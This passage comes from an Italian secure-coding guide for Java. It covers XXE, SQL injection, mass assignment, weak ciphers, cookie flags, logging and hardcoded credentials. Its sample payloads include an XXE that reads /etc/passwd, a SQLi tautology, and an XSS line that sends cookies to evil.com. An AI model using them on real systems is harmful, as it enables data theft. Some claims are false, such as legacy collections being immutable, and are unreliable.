I motori di template sono utilizzati dalle applicazioni web per costruire contenuti HTML ed i file di template contengono HTML statico e istruzioni per il linguaggio dei template. Queste istruzioni consentono, ad esempio, di inserire valori dinamici nel documento durante il rendering del modello.

Bisogna oltretutto tenere conto che esistono altri tipi di contenuto, oltre a text/html, che consentono l'interpretazione di codice JS nel browser e che sono di conseguenza vulnerabili a XSS. Vengono riportati qui di seguito:

- application/mathml+xml
- application/rdf+xml
- application/vnd.wap.xhtml+xml
- application/xhtml+xml
- application/xml
- image/svg+xml
- multipart/x-mixed-replace
- text/html
- text/rdf
- text/xml
- text/xsl

Content Security Policy (CSP) Header

Con un approccio alla sicurezza di tipo defense-in-depth, è possibile aggiungere l'intestazione di risposta CSP per indicare ai browser client di bloccare il caricamento di dati che non soddisfano i requisiti di sicurezza dell'applicazione. Se configurato correttamente, questo può impedire qualsiasi tentativo di sfruttare XSS nell'applicazione.

5.2 XML Injection

L'elaborazione di entità esterne consente l'analisi di XML con il coinvolgimento di entità esterne. Tuttavia, quando questa funzionalità viene attivata senza le dovute precauzioni, può portare a una vulnerabilità nota come attacco XML External Entity (XXE).

Il codice seguente contiene esempi di parser XML con l'elaborazione di entità esterne abilitata. Di conseguenza, i parser sono vulnerabili agli attacchi XXE se un aggressore può controllare il file XML che viene elaborato.

```
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Noncompliant
```

L'impatto che potenzialmente questa vulnerabilità comporta può essere suddiviso in diversi gruppi, qui di seguito riportati:

Esposizione di dati sensibili
Un pericolo significativo delle vulnerabilità XXE è la potenziale esposizione di dati sensibili. Creando payload XML dannosi, gli aggressori possono fare riferimento a entità esterne che contengono informazioni sensibili, come file di sistema, credenziali di database o file di configurazione. Quando queste entità vengono elaborate durante l'analisi XML, l'aggressore può estrarre il contenuto e ottenere l'accesso non autorizzato ai dati sensibili. Ciò rappresenta una grave minaccia per la riservatezza delle informazioni critiche.

Questo payload d'esempio sfrutta una mancata sanitizzazione per la prevenzione delle XXE, con conseguente esfiltrazione di dati sensibili quali sono quelli presenti nel file /etc/passwd.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Esaurimento delle risorse di sistema
Un'altra conseguenza delle vulnerabilità XXE è il potenziale di attacchi denial-of-service. Sfruttando la possibilità di includere entità esterne, gli aggressori possono costruire payload XML che causano l'esaurimento delle risorse. Questo può sovraccaricare la memoria, la CPU o altre risorse critiche del sistema, causando la mancata risposta o il crash del sistema. Un attacco DoS riuscito può interrompere la disponibilità dei servizi e avere un impatto negativo sull'esperienza dell'utente.

Falsificazione delle richieste
Le vulnerabilità XXE possono anche consentire attacchi di tipo Server-Side Request Forgery (SSRF). Sfruttando la capacità di includere entità esterne, un aggressore può far sì che l'applicazione vulnerabile invii richieste arbitrarie ad altri sistemi interni o esterni. Ciò può comportare azioni non intenzionali, come il recupero di dati da risorse interne, la scansione di reti interne o l'attacco ad altri sistemi. Gli attacchi SSRF possono portare a gravi conseguenze, tra cui l'accesso non autorizzato ai dati, la compromissione del sistema o persino l'ulteriore sfruttamento dell'infrastruttura di rete.

Esistono tuttavia diverse strade per mitigare e prevenire questa vulnerabilità in Java SE.

Disabilitare le dichiarazioni DOCTYPE

```
// Applicable to:
// - DocumentBuilderFactory
// - SAXParserFactory
// - SchemaFactory
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// For XMLInputFactory:
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
```

Disabilitare completamente le dichiarazioni di entità esterne

```
// Applicable to:
// - DocumentBuilderFactory
// - SAXParserFactory
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// For XMLInputFactory:
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);
```

Vietare l'uso di tutti i protocolli di entità esterne

```
// `setAttribute` variant, applicable to:
// - DocumentBuilderFactory
// - TransformerFactory
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

// `setProperty` variant, applicable to:
// - XMLInputFactory
// - SchemaFactory
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

// For SAXParserFactory, the prohibition is done on child objects:
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
```

Disabilitare le entità esterne

L'approccio più efficace per prevenire le vulnerabilità XXE consiste nel disabilitare completamente l'elaborazione di entità esterne, a meno che non sia esplicitamente richiesta per casi d'uso specifici. Per

impostazione predefinita, i parser XML dovrebbero essere configurati per rifiutare l'elaborazione di entità esterne. Ciò può essere ottenuto impostando le proprietà o le opzioni appropriate nella libreria o nel framework del parser XML.

Se l'elaborazione di entità esterne è necessaria per determinati scenari, adottare un approccio di whitelisting per limitare le entità che possono essere risolte durante l'analisi XML. Creare un elenco di entità esterne fidate e non ammettere tutte le altre. Questo approccio garantisce che vengano elaborate solo entità conosciute e sicure.
Per limitare le entità esterne, ci si deve affidare alle funzioni fornite dal parser XML.

Disabilitare l'espansione delle entità
In particolare, per DocumentBuilderFactory, è possibile disabilitare l'espansione delle entità. Si noti, tuttavia, che ciò non impedisce il recupero di entità esterne.

```
factory.setExpandEntityReferences(false);
```

5.3 SQL Injection

Le vulnerabilità SQL Injection (SQLi) affliggono le costruzioni insicure di query parametriche, che accettano valori direttamente specificati dall'utente. Questo, infatti, potrebbe non rispettare le asserzioni fatte dallo sviluppatore riguardo al contenuto di un campo di input, ad esempio di un form html, e inserire all'interno della query hardcoded un nuovo comando SQL che vada ad alterarne il significato originale. Questo nuovo comando viene eseguito con gli stessi privilegi e, potenzialmente, può effettuare tutte le operazioni di creazione, lettura, scrittura e cancellazione dei dati presenti sul database.

È riportato di seguito un esempio di query vulnerabile.

```
private String recuperaSaldo(String idAccount) {
        Connection conn = ConnectionWrapper.getConnection();
        Statement stmt = null;
        ResultSet rs = null;

        try {
            String sql = "SELECT Saldo "
                    + "FROM Utenze "
                    + "WHERE idAccount = '" + idAccount + "'";

            stmt = conn.createStatement();
            rs = stmt.executeQuery(sql);

            // logica applicativa

        } catch (SQLException ex) {
            logger.error(ex);
        } finally {
            // chiusura connessioni
        }
}
```

Il valore di String idAccount è specificato direttamente dall'utente, quindi senza alcun tipo di sanitizzazione, validazione o livello di indirezione.
Un payload malevolo potrebbe trasformare la query nella seguente, il cui controllo condizionale definito dal blocco WHERE risulta sempre vero. Il risultato di questa query restituisce il saldo di tutti gli account.

```
SELECT Saldo FROM Utenze WHERE idAccount = 'admin' OR 1=1; --
```

Nota: Valori numerici (definiti come interi , float etc.) a differenze delle stringhe non sono vettori d'attacco validi per SQLi. Si raccomanda comunque di adottare tutte le contromisure necessarie anche nei loro riguardi, per semplificare il mantenimento del codice e agevolarne l'analisi.

I principali metodi per prevenire questi attacchi sono elencati di seguito

Prepared Statement
I prepared statement risultano essere la soluzione più robusta e relativamente semplice da implementare, in quanto grazie al loro funzionamento l'input utente è separato dai comandi SQL, così che la struttura e la logica della query non vengano alterate.

```
private String recuperaSaldo(String idAccount) {
        Connection conn = ConnectionWrapper.getConnection();
        PreparedStatement stmt = null;
        ResultSet rs = null;

        try {
            String sql = "SELECT Saldo "
                    + "FROM Utenze "
                    + "WHERE idAccount = ?";

            stmt = conn.prepareStatement(sql);
            stmt.setString(1, idAccount);
            rs = stmt.executeQuery();

            // logica applicativa

        } catch (SQLException ex) {
            logger.error(ex);
        } finally {
            // chiusura connessioni
        }
}
```

Validazione e Sanitizzazione

Come tutti gli attacchi di Injection, apportare una solida e robusta logica di validazione/sanitizzazione ai campi controllati dall'utente può evitare in primo luogo che questi attacchi si verifichino. Sono da preferire sempre approcci di whitelisting (accettare valori consentiti) rispetto a metodi di blacklisting (scartare contenuti proibiti)

Stored Procedure

Le stored procedure sono query memorizzate sul database che, come i prepared statement, separano la struttura e la logica della query dai parametri dinamici in input. Essendo archiviate ed eseguite direttamente in backend, risultano più efficienti e migliorano le prestazioni in quanto vengono compilate una volta e vengono riutilizzate per tutta la durata di vita del processo, oltre a ridurre il traffico di rete e la latenza.

5.4 Mass Assignment

Il framework usato per legare autonomamente i parametri della richiesta HTTP alla classe del modello, se non configurato esplicitamente per consentire o meno determinati attributi, può introdurre problematiche di sicurezza legate agli Injection Attacks.

Per facilitare lo sviluppo e aumentare la produttività, la maggior parte dei framework moderni consente di istanziare automaticamente un oggetto e di popolarlo con i parametri della richiesta HTTP i cui nomi corrispondono a un attributo della classe da vincolare. L'istanziazione e il popolamento automatico degli oggetti velocizza lo sviluppo, ma può portare a seri problemi se implementato senza cautela. Qualsiasi attributo delle classi vincolate, o delle classi annidate, sarà automaticamente legato ai parametri della richiesta HTTP. Pertanto, gli utenti malintenzionati saranno in grado di assegnare un valore a qualsiasi attributo nelle classi vincolate o annidate, anche se non sono esposte al client tramite moduli Web o contratti API.

Esempio 1: Utilizzando Spring MVC senza alcuna configurazione aggiuntiva, il seguente metodo del controllore legherà i parametri della richiesta HTTP a qualsiasi attributo delle classi User o Details.

```
@RequestMapping(method = RequestMethod.POST)
public String registerUser(@ModelAttribute("user") User user, BindingResult result, SessionStatus status) {
    if (db.save(user).hasErrors()) {
        return "CustomerForm";
    } else {
        status.setComplete();
        return "CustomerSuccess";
    }
}
```

Con la classe User così definita

```
public class User {
    private String name;
    private String lastname;
    private int age;
    private Details details;

    // Public Getters and Setters
}
```

E la classe Details così definita

```
public class Details {
    private boolean is_admin;
    private int id;
    private Date login_date;

    // Public Getters and Setters
}
```

Oltretutto, sono da considerarsi vulnerabili al Mass Assignment tutti quei controller che:

- Usano attributi ottenuti da Model model senza alcune validazione
- Usano il decoratore @RequestBody senza prima definire all'interno della classe mappata quali attributi debbano essere ignorati (tramite il decoratore @JsonIgnore)

Per evitare il binding incondizionato dei parametri ricevuti con una richiesta HTTP è necessario controllare quali attributi sono esposti e quindi istanziabili e quali invece no.

In **Spring**, per gli attributi annotati con il decoratore @ModelAttribute, è possibile configurare quali attributi escludere dal binding automatico. A tale scopo, un metodo annotato con il decoratore @InitBinder sarà utilizzato dallo Spring Model Binder per riconoscere i parametri non assegnabili dai valori ricevuti nella request. Lo Spring Model Binder può essere configurato per controllare il processo di binding degli attributi

con i metodi setAllowedFields e setDisallowedFields. Le applicazioni Spring MVC che estendono BaseCommandController possono sovrascrivere il metodo initBinder(HttpServletRequest request, ServletRequestDataBinder binder) per ottenere un riferimento allo Spring Model Binder.

Esempio 2: Spring Model Binder (3.x) configurato per non accettare attributi sensibili

```
final String[] DISALLOWED_FIELDS = new String[]{"details.role", "details.age", "is_admin"};
@InitBinder
public void initBinder(WebDataBinder binder) {
    binder.setDisallowedFields(DISALLOWED_FIELDS);
}
```

Esempio 3: Spring Model Binder (2.x) configurato per non accettare attributi sensibili

```
@Override
protected void initBinder(HttpServletRequest request, ServletRequestDataBinder binder) throws Exception {
    binder.setDisallowedFields(new String[]{"details.role", "details.age", "is_admin"});
}
```

Nelle applicazioni Spring MVC che utilizzano i parametri annotati @RequestBody, il processo di binding è gestito dalle istanze HttpMessageConverter, che utilizzano librerie come Jackson e JAXB per convertire il corpo della richiesta HTTP in oggetti Java. Queste librerie offrono annotazioni per controllare quali campi devono essere consentiti o non consentiti. Ad esempio, per la libreria Jackson JSON, l'annotazione @JsonIgnore può essere usata per impedire che un campo sia legato alla richiesta.

Esempio 4: un controller vincola una richiesta HTTP ad un istanza della classe Employee usando il decoratore @RequestBody

```
@RequestMapping(value="/add/employee", method=RequestMethod.POST, consumes="text/html")
public void addEmployee(@RequestBody Employee employee){
    // Do something with the employee object.
}
```

L'applicazione utilizza l'HttpMessageConverter predefinito di Jackson per legare le richieste HTTP JSON alla classe Employee. Per impedire il binding del campo sensibile is_admin, utilizzare l'annotazione @JsonIgnore:

```
public class Employee {
    @JsonIgnore
    private boolean is_admin;

    // Public Getters and Setters

}
```

In **Apache Struts** 1 e 2 il binding dei parametri passati tramite la richiesta HTTP avviene solo per tutti quegli attributi che hanno un metodo setter associato. Per proteggere questi dal Mass Assignment, i rispettivi metodi setter devono di conseguenza essere privati.

Esempio 5

```
private String role;
private void setRole(String role) {
    this.role = role;
}
```

La maggior parte dei **framework REST** lega automaticamente qualsiasi corpo di richiesta HTTP con contenuto di tipo JSON o XML a un oggetto modello. A seconda delle librerie utilizzate per l'elaborazione di JSON e XML, ci saranno diversi modi per controllare il processo di binding. Di seguito sono riportati alcuni esempi per JAXB (XML) e Jackson (JSON):

I modelli istanziati da documenti XML utilizzando la libreria JAXB di Oracle possono controllare il processo di binding utilizzando diverse annotazioni, come @XmlAccessorType, @XmlAttribute, @XmlElement e @XmlTransient. Si può dire al raccoglitore di non legare alcun attributo per impostazione predefinita, annotando i modelli con l'annotazione @XmlAccessorType con il valore XmlAccessType.NONE e quindi selezionando i campi da legare con le annotazioni @XmlAttribute e @XmlElement

```
@XmlRootElement
@XmlAccessorType(XmlAccessType.NONE)
public class User {
    private String role;
    private String name;
    @XmlAttribute
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getRole() {
        return role;
   }
   public void setRole(String role) {
        this.role = role;
    }
}
```

Esempio 7: I modelli legati da documenti JSON usando la libreria Jackson possono controllare il processo di binding usando diverse annotazioni, come @JsonIgnore, @JsonIgnoreProperties, @JsonIgnoreType e @JsonInclude. Si può dire al raccoglitore di ignorare alcuni attributi annotandoli con l'annotazione @JsonIgnore

```
public class User {
    @JsonIgnore
    private String role;
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getRole() {
        return role;
    }
    public void setRole(String role) {
        this.role = role;
    }
}
```

Un approccio diverso per proteggere dalle vulnerabilità di Mass Assignment consiste nell'utilizzare un'architettura a strati in cui i parametri della richiesta HTTP sono legati a Data Transfer Object. Gli oggetti DTO vengono utilizzati solo a tale scopo, esponendo solo gli attributi definiti nei moduli web o nei contratti API, per poi mapparli in oggetti di dominio, dove è possibile definire il resto degli attributi privati.

6 CRITTOGRAFIA

La crittografia è un elemento fondamentale della cybersecurity, ma presenta diverse sfide:

- **Complessità**: la crittografia richiede una comprensione profonda dei principi matematici. Questa complessità può portare a errori nell'implementazione che possono essere sfruttati dagli aggressori.
- **Gestione delle chiavi**: la sicurezza dei dati crittografati dipende dalla sicurezza delle chiavi utilizzate. La gestione delle chiavi, compresa la loro creazione, distribuzione, archiviazione e distruzione, è una sfida significativa.
- **Crittografia obsoleta**: con l'avanzamento della tecnologia, alcuni algoritmi crittografici diventano obsoleti e vulnerabili. Mantenere aggiornati i sistemi crittografici è cruciale.
- **Attacchi di forza bruta**: gli attacchi di forza bruta, in cui un aggressore tenta tutte le possibili combinazioni di chiavi, sono sempre una minaccia. L'avvento dei computer quantistici potrebbe rendere questi attacchi più fattibili.
- **Equilibrio tra sicurezza e prestazioni**: la crittografia può rallentare i sistemi e le reti. Trovare il giusto equilibrio tra sicurezza e prestazioni è una sfida.
- **Crittografia end-to-end**: mentre la crittografia end-to-end offre una maggiore sicurezza, può anche impedire la rilevazione di malware o altre minacce all'interno dei dati crittografati.
- **Conformità normativa**: le organizzazioni devono rispettare varie normative sulla privacy e sulla sicurezza dei dati, che possono influenzare l'uso della crittografia.
- **Accesso legittimo ai dati**: in alcuni casi, le organizzazioni o le autorità possono aver bisogno di accedere ai dati crittografati, creando un dilemma tra privacy e sicurezza.
- **Formazione degli utenti**: gli utenti devono essere formati per comprendere l'importanza della crittografia e per utilizzare correttamente le tecnologie crittografiche.

Queste sono solo alcune delle sfide legate alla crittografia in ottica cybersecurity. La risoluzione di queste problematiche richiede un approccio olistico che combina tecnologia, formazione e politiche efficaci.

6.1 Algoritmi crittografici deboli o assenti

Gli algoritmi crittografici servono a diversi scopi, tra cui la cifratura e la decifratura dei dati, la firma di questi per verificarne l'integrità o che provengano da una fonte attendibile, la confidenzialità di una comunicazione ed il non ripudio.

I moderni algoritmi crittografici si basano interamente sulla segretezza delle loro chiavi per la sicurezza; gli algoritmi stessi sono ben noti e studiati con attenzione. Questo principio è noto comunemente come il **Principio di Kerckhoffs**.

Con l'aumento della potenza di calcolo, alcuni algoritmi non forniscono più sufficienti garanzie di sicurezza, mentre altri si sono dimostrati più deboli di quanto originariamente previsto.

Di seguito una lista di algoritmi ormai deprecati:

- SHA1
- MD2
- MD4
- MD5
- RSA con chiave lunga 1024-bit o inferiore.
- DSA con chiave lunga 1024-bit o inferiore.
- ECDSA con chiave lunga 160-bit o inferiore.
- DES o Triple DES
- RC2
- SSL versioni 1.0, 2.0 and 3.0
- TLS versioni 1.0 and 1.1

Soluzioni più efficaci e ad oggi considerate sicure riguardano la scelta di algoritmi come **AES**, **SHA-512** e **SHA-3**, nonché di **TLS 1.2** e **TLS 1.3**

Questi principi si applicano ai dati:

- a riposo, ovvero scritti in un qualche file su un dispositivo di archiviazione;
- in transito, ovvero inviati su un canale di comunicazione ad un destinatario;
- in uso, ovvero caricati runtime in memoria RAM da un applicativo.

La crittografia spazia dunque dalla scelta di protocolli di comunicazione sicuri come HTTPS ad algoritmi di cifratura robusti per le password archiviate in un database.

Vengono riportati due esempi di crittografia debole con gli algoritmi AES ed RSA

```
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public static void main(String[] args) {
    try {
        Cipher.getInstance("AES/CBC/PKCS5Padding"); // Noncompliant
    } catch(NoSuchAlgorithmException|NoSuchPaddingException e) {
        // ...
    }
}
```

```
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public static void main(String[] args) {
    try {
        Cipher.getInstance("RSA/None/NoPadding"); // Noncompliant
    } catch(NoSuchAlgorithmException|NoSuchPaddingException e) {
        // ...
    }
}
```

Qui di seguito invece sono proposte due implementazioni che, alla data di stesura del documento, risultano essere più sicure

```
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public static void main(String[] args) {
    try {
        Cipher.getInstance("AES/GCM/NoPadding");
    } catch(NoSuchAlgorithmException|NoSuchPaddingException e) {
        // ...
    }
}
```

```
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public static void main(String[] args) {
    try {
        Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING");
    } catch(NoSuchAlgorithmException|NoSuchPaddingException e) {
        // ...
    }
}
```

In questo caso, la catena è forte quanto il suo anello più debole e vanno mantenuti aggiornati gli algoritmi in uso a fronte di nuove scoperte ed innovazioni.

7 MISCONFIGURATIONS

Le misconfigurations, traducibile con 'configurazioni errate', sono problematiche di sicurezza dovute ad una erronea o deprecata interpretazione delle funzionalità di un software in fase di sviluppo del codice.

7.1 Stampa della stack trace

In fase di sviluppo dell'applicativo può tornare utile agli sviluppatori leggere le stacktrace in seguito alla rilevazione di eccezioni lanciate durante il flusso di esecuzione. Tuttavia queste vanno rimosse assolutamente quando il prodotto viene reso disponibile all'utente finale, in quanto la stack trace contiene per sua natura diverse informazioni cruciali e di elevata confidenzialità (quali dump di memoria e chiamate a ritroso) di poca utilità per chi non si occupa dello sviluppo ma molto utili ad un potenziale attaccante.

L'esempio di seguito è da evitare.

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
    e.printStackTrace();
}
```

Metodi alternativi per evitare di stampare la stack trace sono

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
    logger.warn(e.getMessage);
}
```

Oppure

```
try {
    String str = validateUserName(username);
} catch(Exception e) {
    if(DEBUG)
        e.printStackTrace();
}
```

7.2 Configurazione errata dei cookie

I cookie solitamente permettono al server di identificare e riconoscere quale utenza ha inviato una specifica richiesta http, il cui protocollo ricordiamo essere stateless ovvero senza memoria di stato, creando una sorta di autenticazione persistente tra il susseguirsi di messaggi in arrivo dal client.
Viene automatico quindi porre un focus sulle modalità che Java mette a disposizione per salvaguardarne la sicurezza.

Esistono due attributi che, combinati, garantiscono un adeguato livello di protezione:

- **Secure**: per il quale l'invio dei cookie può avvenire solo in presenza di una connessione cifrata, che utilizza quindi HTTPS ed evita furti di dati in transito;

- **HttpOnly:** grazie al quale il cookie archiviato nella memoria del browser non può essere recuperato dal codice javascript, lecito o malevolo che sia. Questo per prevenire che i comuni attacchi XSS esfiltrino i cookie e li inviino ad utenti malevoli.

Nell'esempio seguente vengono correttamente settati entrambi i valori a true, in modo da prevenire gli attacchi mostrati precedentemente.

```
Cookie c = new Cookie("username", username);
c.setSecure(true); // Secure flag
c.setHttpOnly(true); // HttpOnly flag
response.addCookie(c);
```

In questo tentativo di attacco, se HttpOnly è settato a true allora document.cookie torna una stringa vuota ed il payload diventa inefficace.

```
<img src='http://evil.com/' + document.cookie>
```

8 LOGGING & MONITORING

I file di log sono utilizzati per tenere traccia di eventi rilevanti all'interno del sistema. Riportano solitamente informazioni complete per ricostruire cosa è accaduto in un determinato momento, e permettono di fare inferenza sullo stato attuale e passato dell'infrastruttura. Se questi non fossero correttamente gestiti potrebbero contenere payload malevoli, informazioni sensibili o porre più in generale l'applicazione in uno stato insicuro, nel caso di Java anche in funzione della libreria e della versione usata.

8.1 Informazioni sensibili nei log

Essendo i file di log intesi per consultazioni successive all'avvenimento di un evento, ed essendo comunque file scritti sul file system del server, i dati contenuti in essi devono anche rispettare la privacy degli utenti evitando di includere informazioni sensibili. Per sapere quali dati sono considerati sensibili e che pertanto vanno esclusi dai log è necessario consultare i regolamenti in materia (in unione europea, ad esempio, il GDPR su tutti).
Basti pensare che un file di log potrebbe essere esfiltrato o letto da personale non autorizzato per porre subito il punto sulle problematiche legali che questa condotta comporta.

L'esempio seguente mostra una implementazione errata di una stampa nei log, che include informazioni sensibili quali la password.

```
private void LogLoginDetails(String username, String password){
    Logger.info("Tentativo di login con username: " + username + " e password: " + password);
}
```

Una struttura standardizzata utilizzata per formattare i record è la seguente:

- Timestamp
- Informazioni sull'utenza
- Evento che ha generato la scrittura della entry
- Eventuali informazioni aggiuntive (stato del server, user agent, payload etc)

8.2 Log4Shell

La componente Log4J è il principale framework di logging in Java. Ha suscitato grande scalpore ed interesse mediatico scoprire che anche una semplice, e all'apparenza innocua, utility utilizzata in milioni di implementazioni software che si occupa esclusivamente di logging possa nascondere una vulnerabilità Remote Code Execution (RCE) cui il NIST ha associato una criticità di 10/10.
Trattandosi di una RCE, il potenziale sfruttamento della CVE-2021-44228 spaziava dall'esfiltrazione di dati, all'installare ransomware, ad ottenere shell privilegiate.

Log4Shell deriva dal modo in cui le versioni vulnerabili di Log4J gestiscono due funzioni correlate: lookup Java Naming and Directory Interface (JNDI) e message lookup substitution. Ciascuna funzione da sola sarebbe innocua, ma l'interazione tra di loro fornisce agli hacker un'arma potente.

JNDI è un'application programming interface (API) che le app Java utilizzano per accedere alle risorse in hosting su server esterni. Una ricerca JNDI è un comando che dice all'app di andare su un server e scaricare un oggetto specifico, come dati o script. Le versioni più vecchie di Log4J eseguono automaticamente qualsiasi codice scaricato in questo modo.

Al momento della stesura del documento, risultano essere sicure dalla RCE le versioni successive alla 2.17.1. Si consiglia comunque di aggiornare all'ultima versione disponibile.

8.3 Mancata validazione o sanitizzazione dei log

Un file di log non è di per sé vulnerabile ad attacchi di mancata sanitizzazione o validazione, essendo un semplice file testuale. Tuttavia, il problema può presentarsi nel momento in cui questo viene consultato. Se il contenuto non subisce una validazione o sanitizzazione opportuna, e viene aperto ad esempio tramite un browser che legge il contenuto in formato text/html, il file diventa un vettore d'attacco per iniettare un payload malevolo.

Viene riportato un esempio vulnerabile.

```
2020-01-01 14:00:00 – Utente A scrive: <img src=x onerror=alert(1)>
```

Il file di log una volta ottenuto dal browser viene interpretato, eseguendo l'istruzione alert() e dando così vita ad un attacco XSS stored.

Per prevenire questi attacchi bisogna seguire le linee guida già definite nei capitoli che coprono Sanitizzazione e Validazione ed attacchi Injection.

9 MUTABILITÀ

In Java esistono due tipologie differenti di entità, suddivise in base alla possibilità o meno che il loro valore possa mutare nel tempo dopo che queste sono state inizializzate. Troviamo rispettivamente oggetti mutabili ed immutabili.

Esempi di entità mutabili sono:

- Java.util.Date
- StringBuilder
- StringBuffer

Esempi di entità immutabili sono:

- gli oggetti primitivi, come int e long;
- tutte le classi legacy native quali HashTable, Stack, Dictionary, Properties e Vector;
- classi Wrapper come Integer e Long (facilmente identificabili in quanto hanno il nome corrispondente alla loro controparte primitiva, ma con la prima lettera maiuscola);
- la classe String.

Nota: Una classe immutabile definisce i propri attributi privati, senza i rispettivi metodi setter.

Una problematica che nasce dall'utilizzo di oggetti immutabili è, intrinsecamente, l'impossibilità di eliminarne direttamente il contenuto dalla memoria del sistema. In caso di accesso e dump del suo contenuto, comporta l'esposizione in chiaro del valore degli oggetti utilizzati dall'applicativo, quali credenziali e variabili dell'ambiente di esecuzione internamente gestite.

Nota: Un esempio con la classe String è consultabile nel capitolo Oggetti per la gestione delle credenziali

È pertanto opportuno e necessario in fase di design definire quali attributi ed entità saranno da gestire con l'uno o con l'altro metodo, di modo da garantire la sicurezza del contenuto in uso in memoria.

Per maggiori approfondimenti sull'argomento e consultare i vari scenari possibili si rimanda alla guida ufficiale Oracle presente nel paragrafo finale del capitolo.

10 INFORMAZIONI CONFIDENZIALI

Tutte quelle informazioni che sono classificate come confidenziali, le credenziali di accesso ad un sistema informatico su tutte, devono essere protette in maniera adeguata. Disporre di un forte algoritmo di autenticazione e verifica dell'identità potrebbe essere vano se le credenziali sono facilmente violabili.

10.1 Credenziali Hardcoded

Non è mai sicuro scrivere una password o un secret direttamente nel codice sorgente, questo per una serie di ragioni:

- Permette a tutti gli sviluppatori che si occupano del codice di vederne il valore
- Rende sistemare il problema estremamente complicato

Una volta che il software è nella fase di produzione, la credenziale non può essere cambiate o revocata senza rilasciare una patch. Se questa è compromessa, la scelta è tra la sicurezza del sistema che protegge e la sua disponibilità.

```
public static string ConnectionString = "server=database-server;uid=user; pwd=P@ssw0rd;
database=ProductionData"; // Non compliant
```

Innanzitutto è necessario rimuovere e revocare le credenziali presenti all'interno del codice sorgente, tenendo in considerazione che la revoca di queste impatterà applicazioni e processi che ne stanno usufruendo. Successivamente alcune opzioni sicure che è possibile implementare sono:

- Un secret management system
- Jasypt per criptare le properties se si utilizza Spring/Springboot
- Le Secrets Injection se si utilizza Docker
- Un meccanismo di rotazione per limitare il tempo di validità dei secrets
- Salvare le credenziali in un file di configurazione o di ambiente
- Affidarsi ai servizi del proprio cloud provider per la gestione dei secrets

Soluzione compliant basata sulle variabili d'ambiente:

```
public static string ConnectionString = String.format(
    "server=database-server;uid=user;pwd=%s;database=ProductionData",
    System.getenv("DB_PASSWORD") // Compliant
)
```

Soluzione compliant basata sul gestore dei segreti AWS:

```
import software.amazon.awssdk.services.secretsmanager.model.GetSecretValueRequest;
import software.amazon.awssdk.services.secretsmanager.model.GetSecretValueResponse;

public static void main(String[] args) {
 SecretsManagerClient secretsClient = ...
 MyClass.doSomething(secretsClient, "MY_SERVICE_SECRET");
}

public static void doSomething(SecretsManagerClient secretsClient, String secretName) {
 GetSecretValueRequest valueRequest = GetSecretValueRequest.builder().secretId(secretName).build();
 GetSecretValueResponse valueResponse = secretsClient.getSecretValue(valueRequest);
 String secret = valueResponse.secretString();
 // do something with the secret
 MyClass.callMyService(secret);
}
```

Soluzione compliant basata su Azure Key Vault Secret:

```
import com.azure.identity.DefaultAzureCredentialBuilder;
import com.azure.security.keyvault.secrets.SecretClient;
import com.azure.security.keyvault.secrets.SecretClientBuilder;
import com.azure.security.keyvault.secrets.models.KeyVaultSecret;

public static void main(String[] args) throws InterruptedException, IllegalArgumentException {
 String keyVaultName = System.getenv("KEY_VAULT_NAME");
 String keyVaultUri = "https://" + keyVaultName + ".vault.azure.net";
 SecretClient secretClient = new SecretClientBuilder().vaultUrl(keyVaultUri).credential(new
DefaultAzureCredentialBuilder().build()).buildClient();
 MyClass.doSomething(secretClient, "MY_SERVICE_SECRET");
}

public static void doSomething(SecretClient secretClient, String secretName) {
 KeyVaultSecret retrievedSecret = secretClient.getSecret(secretName);
 String secret = retrievedSecret.getValue();
 // do something with the secret
 MyClass.callMyService(secret);
}
```

10.2 Oggetti per la gestione delle credenziali

Credenziali di accesso come password e secrets, oltre a dover essere salvate e trasmesse con gli adeguati algoritmi di cifratura, devono essere correttamente gestite dal programma. Questo comporta che i loro valori debbano essere sicuri anche durante il loro effettivo utilizzo da parte del processo in esecuzione.

È pratica comune gestire valori sensibili, come possono essere le credenziali di accesso, mediante oggetti di tipo String. Tuttavia, essendo le stringhe in Java un oggetto di tipo immutable, una volta che queste sono create rimarranno disponibili in memoria finché il Garbage Collector non si occuperà della loro effettiva rimozione che non possiamo stabilire a priori, togliendo dal nostro controllo una deallocazione manuale.

```
String password = "password" // Non compliant
```

L'utilizzo di una struttura dati *char[ ]* per gestire dati sensibili durante l'esecuzione del processo invece permette di rimuovere esplicitamente i dati al termine del loro utilizzo. In questo modo si ha un controllo diretto della sicurezza dei dati in uso.

```
char[] charPassword = new char[]{'p', 'a', 's', 's', 'w', 'o', 'r', 'd'}; // Compliant
Arrays.fill(charPassword, 'x');
System.out.println(charPassword); // Output: xxxxxxxx
```

11 RACE CONDITIONS

In un sistema concorrenziale, in cui più attori accedono simultaneamente in scrittura e lettura alla memoria condivisa, la gestione della concorrenza diventa di primaria importanza. Bisogna tenere conto di vari fattori quali:

